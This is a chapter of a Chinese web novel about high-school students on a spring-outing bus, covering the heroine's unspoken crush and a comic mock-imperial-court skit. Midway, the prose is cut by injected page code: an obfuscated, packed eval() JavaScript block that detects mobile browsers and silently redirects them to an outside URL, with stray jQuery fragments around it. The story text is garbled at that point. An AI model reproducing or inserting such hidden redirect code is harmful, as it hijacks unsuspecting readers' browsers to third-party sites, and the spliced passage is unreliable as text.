62. chapter 62 垂帘听政

作品:《这根本不是救赎公式

    诗久夏完蛋了。


    她的暗恋还没来得及开始,好像就要无疾而终了。


    还没来得及搞明白自己对祝与青的喜欢到底是否抱有想拥有的目的,暗恋的另一个人已经把她划出亲密范围了。


    方惊芜叽叽喳喳的说着这两年里发现的不对劲,一股脑的往外吐话,诗久夏却根本听不清。


    她还保持着侧坐的姿势,九点多的太阳已经照得很高了,透过一层有些模糊的玻璃打在诗久夏的手背上,她却感受不到一点温度。


    “其实我觉得有距离感并非不好,这是一种尊重的表现,但在你们身上看起来太陌生了。”方惊芜顾着人多,讨论的祝与青更是就坐前面,一直没敢说太大声,念叨了半天没见另一个人没说话,戳戳僵硬的诗久夏。


    “久夏,你有在听我说话吗?”方惊芜歪头在诗久夏面前晃了晃。


    察觉自己失态的诗久夏立马回神,“听到了”,说完她双手捧祝在她面前晃脑袋的方惊芜,“抱歉抱歉,刚刚走神了一会儿,没认真听你的话,不过我都听见了。”


    “我没怎么注意过这个问题,我会想一想的。”


    诗久夏后半句话说的很轻,情绪不高。


    方惊芜有所察觉,没在意对方失神的事,整理好表情朝她比了个心,大方道,“没关系,原谅你了。”


    她清楚诗久夏的思考方式,说完后捞起诗久夏的头放在自己肩上,等着她自己思考。


    大脑陡的变成空白,那是一种计划被打乱的无措,诗久夏无法立马给出新的解决办法。


    抵着方惊芜的肩,她还能闻到自己身上的岩兰草香,过往一团乱麻,诗久夏用余光悄悄瞟向前方坐着的人。


    祝与青姿态放松,身体懒懒地靠在椅背上,汽车与前座的空间太小,一双大长腿委委屈屈的缩着,因着身高太有优势,座椅装不下,半个肩膀和脖子都从靠背上露了出来,耳尖还留着一抹未曾完全褪去的红。


    诗久夏顺着座位间的缝隙看去,视野受限,将他挡了大半,只留下一个模糊难辨的侧影轮廓,在阳光下透出一种淡淡的虚影。


    他侧着头,正在和旁边的路谨言三言两语的“干仗”。


    诗久夏听到路谨言问:“你俩小时候真这么重口味?什么东西都下得了嘴,不过到底啥味啊?”


    祝与青长长的眼睫毛眨了眨,轻轻哼出一声笑,“好奇就自己中午拿着勺子去厕所。”


    路谨言拱火般迫不及待地又问:“小时候她还带你做过啥?说出来让我评评理。”


    祝与青闻言挑起眉,漫不经心地扫了他一眼,“那就不必了,怕你知道后抱怨自己的原生家庭不幸福。”


    确实是怕他抱怨原生家庭不幸福。


    ——没被双方父母混合双打过的不幸福。


    诗久夏嘴角带上一抹笑意,蹭蹭方惊芜的肩膀继续听。


    路谨言又东问西问了一大堆,左右不过是些嗅事,想打听打听她俩干过的蠢事乐呵乐呵。


    祝与青不惯着他,回了两个问题后选择性装起耳聋来,大多数都直接无视,偶尔会简单的回复几句,也大多都是些让路谨言哑口无言的话。


    他还是一如既往的嘴毒,看起来比和班级的同班同学相处时多了些活人味。


    诗久夏慢慢听着,眼睛里装着的那个侧脸渐渐就模糊了。


    他化得很小很小,蜗居在诗久夏的瞳孔里,成为儿时从玩闹中一抬头就能看见的固定物,闭上眼睡觉时眼里最后的一幕,世界中不可或缺的必要素。


    她从未想过祝与青某一天消失在她的生活中是什么情景。


    像发现自己喜欢祝与青的那一刻时一样,诗久夏产生了一丝恐惧。


    祝与青会消失在她的生活中,可能是因为结婚生子,可能是事业要求,总之,她们不会一直在一起。


    耳边的声音开始失真,糊成一团,缠绕在心里给不出答案的问题紧紧重重坠着,让人发沉。


    什么东西都消散了,只剩一股快要消失不见的柑橘味似有若无的在脑海里游荡。


    车内开着空调,汽车早已不知行驶到了何处,窗外的风景渐渐从热闹的市区变成荒无人烟的郊区,风景倒是一处比一处好看,可惜无人欣赏。


    祝与青听路谨言唠叨大半天,想起早晨诗久夏眼里的红血丝,转头想提醒俩人休息会儿,后面却早已安静一片。


    诗久夏和方惊芜座位旁的窗帘大开着,阳光经过层层阻拦后已经不再刺眼,在俩人交握着的手掌中落下。


    她们半侧着身子,两颗毛茸茸的脑袋相互抵着,彼此依偎,早已安静闭上了眼。


    诗久夏出门前垂在左肩的小辫还规整着,方惊芜散落的短发和她的混在了一起,不分彼此。


    热闹的氛围只在这群命苦的高三生中持续了一会儿。


    想象中在大声畅聊,放肆歌唱,欢笑着打闹的场景并没有出现在这辆安静的车上,车轮缓缓碾过马路,蝉鸣声愈发清晰,所有人都在这样的安宁中睡着了。


    高中实在是太累了,哪怕成绩不是最好,要想成绩不往下掉,就只能脚步不停的一直学。


    大学是一场巨型屠宰场,里面每个人都是努力拼搏后才得以站在这里成为待宰的牲畜,品种不同,能力不同,长相不同,用处不同,哪怕最后在里面泯然于众,也都耗尽了气力。


    而高中则是一个更为残酷的竞技场,举目皆是天才,而自己则要从天才又努力,天才,和努力中用汗泪拼出一条仅容一只脚通过,随时会被人挤下去的小路。


    哪怕摒弃掉所有外界因素,只是努力超过自己,也是一场残酷的挑战。是放弃休息,放弃健康,放弃一切,才得以换来的进步。


    没有人会一直站在原地陪跑,大家都只想超过你,然后踩着你再也无法诉说和呐喊的躯体,指间磨得厚厚的茧子,被折磨得不堪一击的精神,杀红了眼的往前奔。


    落后就是死路。


    她们好像早早习惯了这一点,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017453|170401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所以没有人敢放松,哪怕明天就是春游,也没有人敢放过前一天晚上的学习时间。


    哪怕前方是屠宰场,也要拼进全力冲进去,毕竟大家默认只有成功的人才能诉苦。


    大多数人都在劳累中沉沉睡去,东倒西歪了一片,连祁连也在座位上打起瞌睡来。


    汽车一路行驶三个小时,从九点十分太阳半升,到十二点太阳高挂,一直到下午一点才停在目的地。


    被司机叫下车时车里清醒的人还没几个,睁眼后一瞅车窗外晒得正好的太阳立马萌生了后退的心思。


    “我的天,我还是在车上再睡会儿吧。”章方朗刚睁开的眼又紧紧闭上,甚至拿帽子挡住了眼睛。


    “出门春游回去一看照片,发现自己其实只是换了个地方睡觉吗?”有人回问。


    “出门玩的第一步是出门,至少我们已经完成了这一步不是吗?”左妍宜打趣地说了一句。


    “我没意见,就在车里玩大富翁也行。”徐幽榕还真计划起来,“有没有人带了纸牌,我们斗地主!”


    前两句祁连还能装聋,这句话一出他实在是装不下去了,叉着腰走到最后一排的位置。


    “当着老师的面谋划赌博,你们是现在又有精神了。”


    徐幽榕坐在最后一排正中间往左一个的位置,闻言立马缩了缩脖子,抱住左妍宜的胳膊,夹着嗓音大喊道:


    “皇上,皇上,你快给臣妾做主啊。”


    活脱脱一幅祸国妖妃的模样。


    左妍宜坐在正中间,“皇位”的位置上,一眼看下去确实有种俯视众生,众人皆是平民,只有自己能掌管大局的架势。


    她拿着调子,拍拍徐幽榕的手臂,摸了把下巴处并不存在的胡子,轻咳两声,对站在下面,“进谏”的“大臣”祁连道,“爱卿,何处此言。”


    祁连听她故作老成的语气,没忍住,手掌抵头气笑了,倒是左妍宜右边的易越平有了动作。


    她拿起自己挂在书包上的帽子扣在头上,又从口袋里拆出一个新的口罩戴好,老神在在地坐直了身体。


    “你干嘛?”左妍宜往徐幽榕的位置偏了偏,有些惊恐地问道,“荆轲刺秦?”


    易越平一笑,抬手撩起面前并不存在的帘子,气定神闲的回答,“垂帘听政。”


    这下众人是都被这群老戏骨闹清醒了,笑得像刚下山的猴子。


    路谨言从座位上站起身,脚步一走一顿,时不时看俩眼旁边坐着的人,最后在正对着左妍宜的前方停下脚步,弯腰推手,已经完全把自己代入丞相的角色了。


    “皇上,依臣看,这祁宰相今日胆敢对陛下的爱妃不敬,明日就敢对这身为天下至尊的您不敬。”


    “这天下黄土可容不下此等人士,不如流放边境,守我国国土,让其终身再无翻头之日,留陛下和您的爱妃,”路谨言非常有感情的停顿片刻似乎是在等“皇位”上的人思考,片刻后才继续道,“以及这满朝文武,天下百姓一个安稳。”